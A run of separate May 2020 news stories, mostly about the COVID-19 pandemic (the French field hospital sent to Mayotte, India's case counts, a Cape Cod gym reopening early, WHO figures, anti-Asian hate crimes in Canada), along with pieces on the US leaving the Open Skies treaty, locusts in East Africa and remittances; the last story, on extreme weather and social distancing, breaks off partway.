Set up in March by the army to treat severe coronavirus cases, the construction of such a facility during peacetime was unprecedented.

The tent hospital was built in a parking lot next to the main hospital in Mulhouse in the Haut-Rhin region to relieve the strain on emergency rooms that were badly hit by the coronavirus.

Hundreds of patients were also evacuated from the region, either airlifted over the border to Germany, Switzerland, Luxembourg or Austria or transferred via special high-speed trains to other regions of France.

Crisis overseas

Nearly two months on into the pandemic, the nationwide death toll has begun to go down, although health officials have reported eight new Covid-19 clusters in the Grand-Est region since the lockdown was eased on 11 May.

However, no new patients have been admitted to the Mulhouse military field hospital officials say, which is why they are now focusing their attention on the growing coronavirus threat in France's overseas territories.

"Ten intensive care beds will be deployed to Mayotte hospital and will be transferred in two rounds by an Airbus A400M carrier," Florence Parly, France's Minister for Armed Forces has said.

With a population of 280,000, Mayotte has registered 1419 confirmed cases and 19 deaths as of 21 May.

France's Overseas Territories Minister Annick Girardin visited the Indian Ocean island on Tuesday and warned that the coronavirus pandemic risks being even more grim there than on the mainland itself.

Story continues

Time running out

Mayotte, like much of the Outre-mer or overseas departments, suffers from high poverty and unemployment rates and there is concern that local hospitals and clinics could be overwhelmed if the number of cases rise further.

Two helicopter carriers the Mistral and the Dixmude are being sent to the Caribbean and the Indian Ocean to shore up the health sector. The transfer of the Mulhouse military hospital to Mayotte follows this trend.

However, for Mayotte's regional health director Dominique Voynet, time is "running out" for the archipelago, which he reckons needed "the measures deployed in Alsace two months ago."
Metro Manila (CNN Philippines, May 22)  Manila Water and Maynilad assured the public there will be no water disconnection until August, as they extend the payment deadline to September for lifeline customers, or those who belong to urban poor communities, as verified by local government units.

Manila Water Communications Manager Dittie Galang told CNN Philippines Newsroom Ngayon that they will not issue disconnection notices until August.

Sixty days po yong normal na grace period," Galang said on Friday. "Magsisimula pong magbilang yan from May 16."

[Translation: The normal grace period is within 60 days. This will start on May 16.]

The payment can also be via installment basis, according to Galang.

Maynilad Business Area Spokesperson Zmel Grabillo said customers who cannot pay in full can submit a promissory note and start paying in staggered.

Just like Meralco, the two water concessionaires also based their billing on a three-month average of a consumers water consumption.

Ang ginawa natin dahil hindi makapasok ang ating meter readers sa mga barangay dito sa Metro Manila, ginawa naming average ang kanilang billing while the ECQ was being enforced, Galang explained.

[Translation: Since our meter readers cannot easily get into barangays in Metro Manila, we based the billing on their average consumption while the ECQ was being enforced.]

Grabillo added Maynilad will resume with physical meter reading starting June.
The nationwide tally of confirmed COVID-19 cases rose by a single-day record of over 6,000 on Friday to move closer to 1.2 lakh with a large number of people testing positive in across states, even as the government asserted the overall count could have been as high as 30 lakh but for the "rich dividends" of the nationwide lockdown.

Globally, 51.3 lakh people have tested positive for the deadly virus ever since its emergence in China last December, while nearly 3.3 lakh have lost their lives.

Reeling off various studies, government officials also said up to 2.1 lakh more people could have died in India if the lockdown had not been implemented as "a timely, graded, proactive and preemptive public health measure" to fight the COVID-19 pandemic.

In its morning 8 AM update, the Union Health Ministry put the number of confirmed COVID-19 cases at 1,18,447 across India with an increase of 6,088 in 24 hours since Thursday 8 AM, while the death toll rose by 148 to 3,583. It also showed 48,534 recoveries so far.

However, a PTI tally of figures announced by different states and union territories, as of 6.40 PM, put the nationwide tally a bit higher at 1,18,920 and the recoveries at more than 49,000.

India has been under a lockdown since March 25, but several restrictions have been eased in the ongoing fourth phase, which began on May 18 and is scheduled to end on May 31, to help revive economic activities.

While several steps have already been initiated to restart business activities and domestic flights would also resume in a phased manner from Monday, the Reserve Bank said on Friday that the macroeconomic impact of the pandemic is turning out to be more severe than initially anticipated, and various sectors of the economy are experiencing acute stress.

The central bank also said that beyond the destruction of economic and financial activity, livelihood and health are severely affected.

A number of experts and economists have warned of deep economic recession due to the continued extension of the lockdown, which was first imposed for only 21 days, but has already been extended thrice.

The Union Health Ministry officials and members of COVID-19 task forces, however, cited various studies to prove its point that the unprecedented shutdown has paid "rich dividends" in the fight against the pandemic.

The lockdown in India has been a timely, graded, proactive and preemptive public health measure to fight the COVID-19 pandemic and has been part and parcel of the government's overall strategy, Dr V K Paul, Member (Health), NITI Aayog, and Chairman of a key empowered group, said at a media briefing on the COVID-19 situation.

Like the number of cases, the growth rate of COVID-19 deaths too has fallen significantly due to the lockdown, marking a notable difference between pre-lockdown and post-lockdown situations, he said.

At the briefing, Pravin Srivastava, Secretary, Ministry of Statistics and Programme Implementation gave model-based estimates on COVID-19 cases and deaths which have been prevented due to the lockdown.

Citing a model by the Boston Consulting Group, he said the lockdown saved between 1.2-2.1 lakh lives, while the number of COVID-19 cases averted is between 36-70 lakh.

Srivastava further said the Public Health Foundation of India's model showed that nearly 78,000 lives have been saved due to the lockdown. He also cited another model by two independent economists suggesting that 23 lakh COVID-19 cases and 68,000 deaths have been averted due to the lockdown.

"We are fully confident that the lockdown, with full public cooperation, has reaped rich dividends," Srivastava said.

Addressing the press briefing, Health Ministry Joint Secretary Lav Agarwal said 48,534 COVID-19 patients, which is about 41 per cent of the total cases, have recovered so far, while 3,234 have recovered in the last 24 hours.

He also said that the COVID-19 mortality rate has dropped from 3.13 per cent on May 19 to 3.02 per cent as focus was on containment measures and clinical management of cases.

An ICMR official said 27,55,714 tests for COVID-19 have been conducted till 1 pm Friday with 1,03,829 tests done in one day. Over 1 lakh tests for COVID-19 have been done each day for the last four days, the official said.

Paul said the number of COVID-19 cases would have risen exponentially had the lockdown not been implemented. He also said the outbreak in India has remained confined to limited areas with 80 per cent of active cases in just five states.

Besides, around 80 pc of COVID-19 deaths have been in Maharashtra, Gujarat, Madhya Pradesh, West Bengal and Delhi, Paul said.

Maharashtra, the worst-hit state, reported 2,940 new cases -- the highest single-day spike -- to take its tally to 44,852. Its death toll also rose to 1,517 with 63 more fatalities. This was the sixth consecutive day when the state has reported more than 2,000 new coronavirus cases.

Delhi also recorded the highest single-day spike of 660 cases, taking its tally to 12,319, while its death toll has now risen to 208.

In the meantime, healthcare workers at several central and city government hospitals in the national capital sported black armbands to protest the government's decision to end the need for their quarantine after COVID-19 duty unless there has been any form of high-risk exposure.

Several hospitals in the last few days have asked their healthcare workers staying in hotels during the quarantine period to vacate rooms immediately failing which the charges paid for their overstay would be deducted from their salaries.

As per the Union health ministry guidelines issued on May 15, healthcare workers serving in COVID-19 areas do not need to undergo quarantine unless there has been violation in the use of PPE or any other form of high-risk exposure or they have symptoms suggestive of coronavirus infection.

However, healthcare workers on the frontline have raised objections to the new guidelines.

Gujarat reported 363 new cases, taking its tally to 13,273, while the death of 29 patients pushed the death toll in the state to 802. Twin brother and sister, born six days ago in Gujarat's Mehsana district, tested positive too, becoming the state's youngest patients for the viral infection.

However, a 95-year-old woman, who had earlier tested COVID-19 positive in Indore, recovered from the infection, a fortnight after her 70-year-old son had died due to suspected coronavirus infection.

New cases were detected across various other states and UT as well, including in Rajasthan, Madhya Pradesh, Assam, Kerala and Andhra Pradesh.

An official of the National Disaster Response Force (NDRF) has also been found positive for the novel coronavirus, making it the first case in the federal contingency force. Officials said the Sub-Inspector rank official was on leave and had gone to a doctor for some other treatment after which his COVID-19 test was done.

A large number of new cases are being reported among people who have returned from other states in special trains for migrants and among those having come back to India in special flights being operated to bring back stranded Indians and expatriates from abroad.

Officials said Tamil Nadu government is not in favour of restarting domestic air services connecting cities in the state till this month-end and might take up the matter with the Centre.

Some states have also said that domestic flyers must undergo strict home quarantine as per the lockdown guidelines after they reach their destinations.

A study by a team of researchers, in the meantime, said India may witness COVID-19 cases peaking between June 21-28 with maximum daily positive cases to be around 7,000-7,500 in this period.

"A clear downward trend in the confirmed cases is likely to be observed each day from the second week of July," Nandadulal Bairagi, a senior professor of Jadavpur University who was involved in the project told PTI.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
By Kiley Russell

Bay City News Foundation

In the midst of a global pandemic that has severely curtailed or outright shuttered much of American life, California officials are still pushing hard for a robust count of the state's hardest to reach populations in the 2020 U.S Census.

California, with a population of about 38 million, is home to roughly 11 million people who are considered "hard to count," according to Census Bureau estimates.

Roughly half of that hard-to-count population are Asian American, Native Hawaiian and Pacific Islanders, said Ditas Katague, director of the California Complete Count Census 2020 Office.

In order to reach these groups, the state is spending $187 million on outreach and public awareness efforts, passing the funds to hundreds of non-profit community-based organizations that serve hard-to-count populations, including AAPI, Latino, African American and Native Hawaiian communities.

Prior to the novel coronavirus pandemic and the nearly ubiquitous shelter-in-place orders intended to slow its spread, most of these groups had planned to encourage census participation by hosting in-person educational events, attending community gatherings like street fairs and church services and sending outreach volunteers door-to-door to nearly every corner of the state.

The state had even planned to set up more than 2,000 census questionnaire assistance centers in key neighborhoods throughout the state, Katague said.

But not only has COVID-19 made widespread person-to-person contact impossible, it has sucked up much of the nation's attention, leaving little room for conversations that aren't virus-related.

"Some people may say, 'Well (the pandemic) is our big problem. Why should we be worrying about the census right now?'" said state Sen. Dr. Richard Pan, D-Sacramento.

But, if anything, the pandemic has highlighted the need for a complete and accurate count, said Pan, a pediatrician who also has a public health background.

Of course, Californians need to continue to stay home, wear masks, wash their hands and maintain physical distance from each other as much as possible, he said.

"But the other thing we need people to do is fill out the census," Pan said.

The data collected by the census is used to determine how much federal funding is allocated to every state, including California, for things like health care programs, food and housing assistance, road construction, educational spending, and unemployment services, among other things.

And for every person not counted, California stands to lose about $1,000 a year over the next 10 years, Pan said.

Additionally, accurate census data helps state officials plan recovery operations in the wake of large-scale disasters like the COVID-19 pandemic.

"If you think about public health affecting all of us, that's really what we're talking about when we're talking about the census," said State Controller Betty Yee.

"We want to know where people are in California. We want to know where to direct resources. We want to know where we need to be culturally competent with our resources, how to be language specific with our resources," Yee said.

Yee, Pan and Katague urged every Californian to fill out their census forms Thursday during a Facebook Live forum that was billed as an Asian American Native Hawaiian and Pacific Islander Heritage Month event.

Currently, the census response rate in California is 61 percent while the national rate is about 60 percent.

Census officials are encouraged by those numbers, but many groups still face a significant undercount due to language and cultural barriers, distrust of government in general and a lack of awareness about the decennial effort's importance.

Katague stressed that, despite many groups' fear of giving personal information to the federal government, the census data is safe and secure.

"No other federal agencies can get it. No law enforcement can get it. People can be put in jail for giving out your personal data," Katague said.

"There is no citizenship question on the form," she added.

Copyright  2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited.
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Professionals could soon be encouraged to move away from cities and work remotely from country towns.

The idea will be proposed to Scott Morrison by the Nationals, who are hoping to take advantage of working from home technology implemented during the coronavirus pandemic.

Decentralisation Minister Andrew Gee is preparing fresh policies to incentivise Australians to ditch expensive city living for the country to rebuild the economy post-COVID-19.

'We know that real estate is cheaper in the bush, we know that the lifestyle is unbeatable, but what's holding people back is wanting to stay with their current firm or finding employment,' he told the Daily Telegraph.

The idea will be proposed to Scott Morrison by the Nationals, who are hoping to take advantage of working from home technology implemented during the coronavirus pandemic

Decentralisation Minister Andrew Gee is preparing fresh policies to incentivise Australians to ditch expensive city living for the country to rebuild the economy post-COVID-19

'Now that we've seen what's possible, we want those people moving to country areas, working from home and even starting their own business from home.'

Mr Gee said the timing of workers relocating to the country works well as some companies can no longer afford to have all employees working out of expensive city offices.

Westpac's productivity has gone up among its IT staff who have been working from home, while legal services who can offer advice remotely have seen a workload increase.

But University of Sydney professor of gender, work and employment relations Rae Cooper said while most clerical and professional employees would excel working from home, a small minority would struggle to stay productive.

'There's also the issue around supervision,' she told Daily Mail Australia.

'That's often a concern that managers talk about, worrying, 'How can I trust someone if I can't see them?'.'

Instead of working diligently, every hour of the day, these are the staff who would spend hours exercising or walking the dog instead.

'What a lot of people who work on a regular basis, in flexible working arrangements, tell us is that actually, they often do do that,' she said.

The long hours spent on leisure wouldn't be an issue should staff perform their required tasks.

'Someone might be working from 7 o'clock in the morning, pop off to the gym for an hour at 11 to 12 and then come back and work through til six,' Professor Cooper said.
They went to hospital but were then forced to start quarantine all over again

She took Ingrid to hospital but they were required to quarantine for 14 days

A mother was almost too scared to take her sick daughter to hospital because they would be forced back into two-week coronavirus quarantine.

Belle Newman and her daughter Ingird, 15 months, travelled from their home in Cooktown in far north Queensland last month to get her checked by doctors after she suddenly stopped walking.

But due to Queensland's stringent coronavirus measures, the pair had to undergo quarantine for two weeks under police guard before they could go home.

Ten days into their self-isolation, Ingrid suffered a sudden violent seizure and started frothing at her mouth.

Belle Newman and her daughter Ingird, 15 months, travelled from their home in Cooktown in far north Queensland last month to get her checked by doctors after she suddenly stopped walking

Due to Queensland's stringent coronavirus measures, Ingrid (pictured) and her mother had to undergo quarantine for two weeks under police guard before they could go home

Ms Newman then had to choose between taking her daughter to hospital but breaking quarantine, or staying put and putting the girl's life at risk.

'I am really glad we did go because otherwise we wouldn't have known about this tumour and it could have gotten much worse,' she told the ABC.

The young mother now fears other parents from the Cape York region could also avoid getting medical help for their children so they don't break quarantine.

'I definitely do believe there are some people that would be putting it off and thinking it might just go away instead of getting help ... because they don't want to be stuck,' Ms Newman said.

A Queensland Health spokesman said the quarantine was in place under the biosecurity laws to protect vulnerable indigenous communities from coronavirus.

Ms Newman - who is 26 weeks' pregnant with her second child - said she was reluctant to start quarantine all over again with a toddler as it would have been extremely strenuous.

'One of the things we do to calm my daughter down when she's having a meltdown is we go outside and touch the trees,' she said.

Ingrid starts six weeks if chemotherapy at Queensland Children's Hospital in Brisbane next week to reduce the size of her tumour so it can be removed.

Pressure from the tumour is being relieved due to a deviate in the 15-month-old's head.

Ms Newman said Ingrid is now able to walk and move around without any pain, and is back to her 'normal cheeky self.'
Source: Xinhua| 2020-05-22 22:37:27|Editor: huaxia

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ADDIS ABABA, May 22 (Xinhua) -- Reiterating the threat and that East Africa's agro-pastoral areas are at risk of new wave of desert locusts, the Intergovernmental Authority on Development (IGAD) on Friday urged an increased regional collaboration to fight against the pest.

This came at a ministerial meeting on ways of up-scaling desert locust control operations and boosting coordination efforts between IGAD and the Middle East region, according to a statement from the East African bloc on Friday.

The meeting dwelt upon the ongoing control operations as well as current surveillance, contingency plans, infestation mapping and impacts.

The inter-regional meeting brought together IGAD member states, neighbors, regional and international partners to share experiences in pest control, and to garner joint efforts to contain the desert locust invasion both in the IGAD region as well as in the breeding areas of the Arabian Peninsula.

It was also to deliberate on establishing a Joint Inter-Regional Contingency and Response Action Plan, that will guide the up-scaling of cross-border and cross-regional control operations, improve coordination and join efforts to contain the desert locust invasion both in the IGAD region as well as in the breeding areas of the Arabian Peninsula.

IGAD has called for members and partner agencies to continue stepping up monitoring and control activities and share best practices including national desert locust action plans.

It has also called for intensification of regional and cross-regional cooperation with member states acting collectively through IGAD and joining forces with neighbors and relevant agencies.

The bloc has also called for members to make special arrangements for movement of desert locust experts and equipment within and between countries to enable effective control operations amid lock-down situations. Enditem
What lies beyond the pandemic? MassForward is MassLives series examining the journey of Massachusetts businesses through and beyond the coronavirus pandemic.

___________

When Gov. Charlie Baker issued a stay-at-home advisory and closed scores of business across Massachusetts during the coronavirus pandemic, Corey Clark followed the guidance.

The owner of Bodystrong Fitness in Chatham and Orleans felt his gym could provide members with a safe experience but he also felt obligated to follow what the governor said.

When everyone was told to shut down, no one could really grumble because everybodys closed. Everybodys gotta suffer together, Clark said. Now they want to open some people up, and their phase plan almost looks like it was picked out of a hat.

Gyms are some of the final businesses slated to reopen. After closing on March 23, Bodystrong Fitness reopened on Wednesday, defying Bakers phased reopening plan that calls for gyms to open in phase three. After a verbal warning and a written warning from the Chatham Board of Health, the gym received a $100 fine on Friday.

When we first opened, I thought well go a couple of days and see what happens, Clark said. But theres no way were closing until its actually forced upon us by a judge because of all the support weve had.

Clark said the Chatham Board of Health didnt tell him of how the punishment would evolve over time if he continues to remain. Hes discussed the fines with lawyers, who have advised him not to pay them.

Clark said hes also received donations from residents in and outside of Cape Cod to help pay for the fines.

The plan released Monday does not specify any fine for violating the ban on public gatherings, but the Baker administration has previously said violating those restrictions could lead to fines and has referred enforcement to cities and towns.

When we asked what the process would be following the fines, we really werent given an answer, Clark said. So I dont know if they actually have a precedent for shutting someone down for basically a guideline that comes down from the governor, because its not a law.

Bodystrong Fitness in Chatham reopened amid coronavirus pandemic.

Even before Baker released his plan, Clark anticipated opening on May 25. Many gym owners across the state believed the health club industry would fall into the first phase.

Clark envisioned a plan where restrictions were implemented for every business in the state, such as capacity limits, social distancing measures and contact tracing. Those that could comply would open. Instead, Bakers plan opened sectors up by industries.

Following Bakers announcement and Prime Fitness in Oxford opening on Monday, Clark decided he would follow suit and open Wednesday.

Clark messaged the owner of Prime Fitness earlier this week on Facebook voicing his support.

We followed his suit and hoped other small businesses would have done the same," Clark said. "Its getting to the point, especially on Cape Cod, being so seasonal, its getting to the point, if we dont open, a lot of places arent going to make it. Whether they open Monday or they open in July, theyre not going to make it.

Any member that enters Bodystrong Fitness is welcomed by a list of protocols that must be followed. Anyone that doesnt adhere to the guidelines will be asked to leave.

Members must use hand sanitizer, check in at the front desk and have their temperature taken. Checking in, Clark said, allows the gym to contact trace if necessary. If a member later reports they tested positive for COVID-19, Bodystrong Fitness will know everyone who was in the gym with the person.

I can check who was here an hour before or an hour after and I can alert them and give everybody a heads up, Clark said. I know no one else is doing that. Who else is tracking everybody that comes in the door? How many people go into Walmart or Home Depot in a day? You dont know.

Bodystrong Fitness implemented a host of guidelines in order for members to enter the gym.

Bodystrong Fitness opened with a limit of 20 people or 10 percent of the capacity in the 10,000 square foot facility. Clark said mornings are busiest, averaging about 12 to 15 people.

We dont expect it to be packed because people are being cautious, Clark said.

The gym also requires members to change their shoes after entering. Locker rooms, changing rooms and showers will be closed. The gym also requires members to wash their hands frequently and remain at least six feet apart at all times.

Members must disinfect equipment, which has been moved within the facility to maintain social distancing, before and after using it. Clark said, every member working out will be supplied with a bottle of disinfectant to clean machines. Any member who doesnt will be asked to leave, the guidelines said.

Clark has also rearranged equipment to ensure social distancing. He disconnected every other treadmill and elliptical machine. Theyre about eight feet apart and staggered to ensure an elliptical machines is empty in front of a person using the treadmill.

Were going above and beyond, Clark said.

Every other treadmill inside Bodystrong Fitness in Chatham is disconnected to ensure social distancing.

Any member displaying symptoms such as coughing, fever, shortness of breath or sneezing with nasal discharge will be asked to leave.

A limited number of gloves and masks will be available if needed. The gym doesnt require members to wear masks while working out, but asks members to bring one.

Members are asked to limit workouts to one hour.

In addition to the requirements for members to disinfect machines, staff at the gym will also clean high use areas. Each day, Clark said, the gym is disinfected.

Despite reopening and all the implementation of safety measures, Clark still anticipates an uncertain future for the business.

Its going to be a difficult road no matter what, Clark said. Whether we open Monday or or open whether we open in July, its going to be a very difficult road.

MassForward is MassLive's series examining the journey of Massachusetts' small businesses through and beyond the coronavirus pandemic.

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(This May 21 story corrects Bannon role at Breitbart in paragraph 5)

WASHINGTON (Reuters) - A Republican-led U.S. Senate committee approved President Donald Trumps nominee to lead government broadcasting entities on Thursday, backing conservative filmmaker Michael Pack despite an investigation of whether he misused funds from a nonprofit organization he runs.

At an unusually acrimonious meeting of the Senate Foreign Relations Committee, senators voted 12-10 along party lines to support Packs nomination, sending it for a full Senate vote, which has not yet been scheduled.

Every committee Republican voted in favor of Pack and every Democrat voted against.

Trump nominated Pack almost two years ago to lead the U.S. Agency for Global Media, which is in charge of government-funded news outlets, including Voice of America (VOA), which Trump has lashed out against over its coronavirus coverage.

Democrats say Trump sees Pack as someone who would force more favorable coverage of his administration by VOA and other government media outlets. Pack is a close ally of activists including Steve Bannon, once a top aide to Trump and former executive chairman of the right-wing website Breitbart News.

Trump has criticized VOA as he has blamed China for worsening the coronavirus outbreak. Last month, for example, his administration accused VOA of amplifying Chinese propaganda after a segment on a light show marking the reopening of the city of Wuhan, where the outbreak originated from.

Democrats had sought to delay the vote on Pack after the attorney general for the city of Washington launched an investigation into whether Pack misused funds from his nonprofit Public Media Lab at his for-profit film company.

At the acrimonious business meeting on Thursday, which the senators partly closed to media access as they discussed Pack, there were at least six votes to delay considering him.

The motions were defeated every time, along party lines, before the final vote approving the nominee.
World Health Organization chief Tedros Adhanom Ghebreyesus at the WHO headquarters in Geneva, Switzerland, on April 6, 2020. (AFP via Getty Images)

WHO Director General: New Coronavirus Cases See Biggest Increase In Single Day

The number of new CCP virus cases, commonly referred to as coronavirus, saw its biggest global increase in a single day, Director-General of the World Health Organisation, Tedros Adhanom Ghebreyesus, announced on May 20.

We still have a long way to go in this pandemic, he said on Twitter. In the last 24h, there have been 106,000 cases reported to WHOthe most in a single day since the outbreak began.

Tedros added that almost two-thirds of these cases were reported in just four countries. According to the WHOs daily report, the majority of new confirmed cases are coming from the Americas, followed by Europe. The United States reported 45,251 new cases on Tuesday, according to the agency, while Russia had the second-most reported new cases Tuesday at 9,263. On Monday, the United States reported 22,813 new cases.

There are now close to 5 million global cases and roughly 325,000 deaths since the virus emerged in Wuhan, China, less than five months ago, according to government data compiled by Johns Hopkins University, which is tracking the pandemic.

Speaking at a news conference in Geneva on Wednesday, Tedros said the WHO are very concerned about rising cases in low- and middle-income countries.

The pandemic has taught and informed many lessons, he added. Health is not a cost. Its an investment. To live in a secure world, guaranteeing quality health for all is not just the right choice. Its the smart choice.

Elsewhere at the briefing, Dr. Mike Ryan, head of WHOs emergencies program, said the tragic milestone of 5 million cases would soon be hit.

He added that people should avoid using the malaria medicine hydroxychloroquine, except for conditions it is approved to treat, such as lupus and rheumatoid arthritis.

At this stage, (neither) hydroxychloroquine nor chloroquine have been as yet found to be effective in the treatment of COVID-19 nor in the prophylaxis against coming down with the disease, Ryan said. In fact, the opposite, in that warnings have been issued by many authorities regarding the potential side effects of the drug.

The latest figures from WHO come amid an increase in testing throughout the globe along with a relaxation in lockdown rules in numerous countries from Europe to the United States, as well as middle and low-income economies such as Brazil, India and Indonesia, as pressure grows to reopen businesses and restore economies.

Earlier this month, Ghebreyesus warned against rushing to ease the restrictions put in place to help mitigate the spread of CCP virus, saying that countries needed to ensure they had adequate measures to control the spread of the virus, such as tracking systems and quarantine provision.

The risk of returning to lockdown remains very real if countries do not manage the transition extremely carefully and in a phased approach, he said at a virtual briefing in Geneva.

With reporting from Reuters.
Anti-racism should be part of Canadas response to COVID-19 in light of the surge of hate crimes across the country during the pandemic, says an opposition MP.

NDP immigration critic Jenny Kwan is calling on the Liberal government to show leadership by hosting a federal-provincial-territorial meeting to discuss the rise in hate incidents and come up with ways to flatten that curve.

I am particularly concerned for peoples safety at this time, not just about the spread of COVID-19 but also from racist attacks, both verbal and physical, said the MP for the Vancouver East riding.

People thought to be of Asian ancestry are under attack, verbally and physically. Seniors have been pushed to the ground, women have been kicked and punched, Good Samaritans who attempt to intervene are under attack. I am disappointed, I am hurt, I am worried and I am angry.

On Thursday, a day after the lions of the Millennium Gate in Vancouvers Chinatown were defaced with anti-Asian graffiti, Kwan sent a letter to Deputy Prime Minister Chrystia Freeland, who chairs the federal pandemic response team, with the demand.

I would like to reinforce the need for the government to take the necessary measures to stand against all forms of systemic discrimination and racism, Kwan said in her three-page letter.

We must quell the increasing public climate of hate and fear and offer protection and support to all Canadians from coast to coast against these despicable acts.

The recent vandalism in Vancouvers Chinatown was just the latest in a series of racially-motivated incidents in Canada related to COVID-19, particularly targeting those of Asian descent.

Of the 20 anti-Asian hate crimes reported to Vancouver police this year, 11 occurred in April, the Stars Joanna Chiu and Wanyee Li reported. In comparison, there were 12 such crimes reported in all of 2019.

The increase in frequency and severity of some of the incidents should be alarming to everyone. We need all levels of government to come together to devise a plan of action and put the necessary resources in place to address this growing concern, Kwan told the Star.

The Prime Minister and various ministers are saying that they are communicating with their provincial, territorial and municipal counterparts regularly. There is no reason why they cant convene a national table on this critical issue.

Although there are laws to deal with hate crimes, Kwan said Canada doesnt have a standardized approach in investigating and following up with such incidents. Some police departments dont even have a hate crime unit, she added.

This cannot be allowed to continue, Kwan said.

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Federal Department of Foreign Affairs

Bern, 22.05.2020 - Large numbers of migrants living and working abroad send part of their wages to their families back home on a regular basis. Because of the current COVID-19 pandemic, low-income countries have seen a dramatic fall in these remittances from abroad. Switzerland has therefore been working closely with the United Kingdom to call on the international community to keep remittance channels open and give the poorest communities continued access to these vital sources of income. The joint appeal, which is being launched today, also demonstrates the close ties between Switzerland and the UK, according to Federal Councillor Ignazio Cassis.

In low and middle-income countries, the livelihoods of many families of migrant workers depend on remittances. In a number of countries, remittances now account for or even exceed 25% of GDP. After a record high of USD 550 billion in remittances in 2019, the economic impact of the current COVID-19 pandemic threatens to cause a sharp decline in this amount. The World Bank predicts that in 2020 remittances to low and middle-income countries will drop by about 20%, which amounts to around USD 110 billion. Without remittances from migrant workers and the diaspora, a large number of families are no longer able to afford essential goods and services such as food, housing, education and healthcare. As a result, migration pressures may also increase.

The Swiss-UK appeal

That is why Switzerland is launching a global appeal today to keep remittances flowing during the current crisis. The international call to action is being launched together with the UK and with the support of multilateral development organisations (UN Capital Development Fund, World Bank, International Organization for Migration and UN Development Programme) and private financial actors.

The appeal aims to ensure the unhindered flow of remittances worldwide during the COVID-19 pandemic in order to allow the families of migrant workers to continue to receive this vital income and avoid falling into poverty. Lockdown restrictions and the closure of foreign exchange and cash transfer agencies also make it difficult, if not impossible, for migrant workers to send money home. Many agents currently lack the liquidity to continue operating. The appeal aims to provide migrant workers with additional options, including digital technologies and digital channels, to enable them to continue to send money home. It also calls on policymakers, regulators and service providers worldwide to make it easier to transfer money abroad. Finally, it plans to use information campaigns to raise migrants' awareness of new ways of sending money home, including digital transfer options.

"Remittances are important, but difficult because of COVID-19. So let's make sure those barriers are removed worldwide! New technologies can help us here," said Mr Cassis. Several countries have already joined the call for action, including Egypt, Ecuador, El Salvador, Jamaica, Mexico, Nigeria and Pakistan.

Swiss expertise and close cooperation with the UK

Thanks to its long-standing work in the field of migration and development as well as its expertise in the financial sector, Switzerland is focusing on services that enable people to send remittances using new technologies, such as by mobile phone.

The joint appeal highlights the close ties between Switzerland and the UK and demonstrates the strong working relationship between the two countries. Switzerland has been working closely with the UK authorities in view of the country's withdrawal from the EU (Brexit) under the Federal Council's Mind the Gap strategy, which aims to maintain the current mutual rights and obligations between the two countries as far as possible. This has enabled Switzerland and the UK to conclude a number of new agreements on trade, migration, road and air transport, and insurance, which will come into effect at the end of the transition period between the UK and the EU. The strategy also includes the possibility of extending cooperation between the two countries beyond the current framework on areas of common interest.

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Analysts noted that the U.S. pullout, rumored for months, would cause grievance among European allies who are also participating in the treaty.

WASHINGTON, May 21 (Xinhua) -- U.S. President Donald Trump on Thursday said the United States is withdrawing from the Treaty on Open Skies, the latest move to abandon a major international arms control agreement.

"Russia didn't adhere to the treaty, so until they adhere we will pull out," Trump told reporters at the White House when asked about the decision to withdraw from the treaty.

"But there is a very good chance we will make a new agreement or do something to put that agreement back together," Trump added, without elaborating.

The Washington Post reported that Christopher Ford, assistant secretary of state for international security and nonproliferation, would inform Moscow of the decision during his Thursday's lunch with Russian Ambassador Anatoly Antonov.

The U.S. Air Force Thunderbirds perform aerobatics during the 57th annual Abbotsford International Airshow in Abbotsford, Canada, Aug. 11, 2019. (Xinhua/Liang Sen)

Analysts noted that the U.S. pullout, rumored for months, would cause grievance among European allies who are also participating in the treaty. The withdrawal would formally take place in six months, based on the treaty's withdrawal terms.

The treaty, which became effective in 2002, allows its states-parties to conduct short-notice, unarmed reconnaissance flights over the others' entire territories to collect data on military forces and activities.

Currently, 35 nations, including Russia, the United States, and some other members of the North Atlantic Treaty Organization, have signed it. Kyrgyzstan has signed but not ratified it yet.

The treaty is aimed at building confidence and familiarity among states-parties through their participation in the overflights. Over 1,500 Open Skies flights have been conducted since the deal entered into force in 2002, according to media reports.

An U.S. Air Force A-10 Thunderbolt takes part in a joint training on a highway near Anije, Western Estonia, Aug. 1, 2016. (Xinhua/Sergei Stepanov)

The United States and Russia have blamed each other for noncompliance with the treaty. Washington and Moscow have each put a few limits on flights over their territories -- Hawaii and some other U.S. bases have been off-limits, as have Kaliningrad, among others, according to media reports.

It was the latest in a string of moves by the Trump administration to withdraw from a major international treaty. Washington abandoned the Intermediate-Range Nuclear Forces Treaty with Moscow last year.

The pullout of the Treaty on Open Skies further raised doubts over whether the Trump administration would extend the New Strategic Arms Reduction Treaty (New START), the last remaining nuclear arms control treaty in force between Washington and Moscow.

The New START, which expires next February, can be extended for at most five years with the consent of the two countries. Russia has expressed willingness to extend the treaty, while the Trump administration has yet to officially reply.
Social distancing: When extreme weather and coronavirus collide

by Navin Singh Khadka

May 22,2020 | Source: BBC News

People being displaced by extreme weather events around the world are being forced to break Covid-19 social distancing safety guidelines, according to the International Federation of Red Cross and other humanitarian agencies.



Social distancing is no longer possible when displaced people are in evacuation centres, Marshal Makavure, emergency operations co-ordinator of IFRC in Eastern Africa told the BBC.



People have been forced to break the Covid-19 protocol and guidelines under such circumstances.



The BBC has spoken with people living in areas affected by extreme weather events.



India

Subrat Kumar Padhihary, a 38-year-old farmer in Odisha state on Indias east coast, is worried.



Indian officials are on alert as Cyclone Amphan, due to hit West Bengal and Odisha on Wednesday, looks likely to intensify into a "very severe" storm.



Subrats village is nearly 40 kilometres from the sea. The house that he shares with his wife, three daughters and mother was badly damaged by Cyclone Fani last year, so he isnt convinced it can withstand Cyclone Amphan.



But even if his house survives, hes worried about having to leave his village if the authorities say people must evacuate.



Subrat feels that might be even more dangerous.



My fear is that we will be taken to nearby schools that have already been turned into Covid-19 quarantine shelters.



There are not many centres in our village, and that means we will have to share the space with people [who may have Covid-19] which will be full of risks.



West Bengal state has been struggling with Covid-19 cases and that is a cause of concern when it comes to cyclone preparedness, according to Siddarth Srinivas, food and climate policy lead for Oxfam in Asia.



In the past, some states in India have rescued people by sheltering them in schools and public buildings, but this time doing that is not ideal because of the pandemic.



Uganda

The Kasese district in western Uganda has been one of the worst hit by recent floods, with hundreds of people displaced.



Joseline Kabugho is six months pregnant. The 23 year old has been forced to shelter with her two children in one of the school-turned-camps in the district.



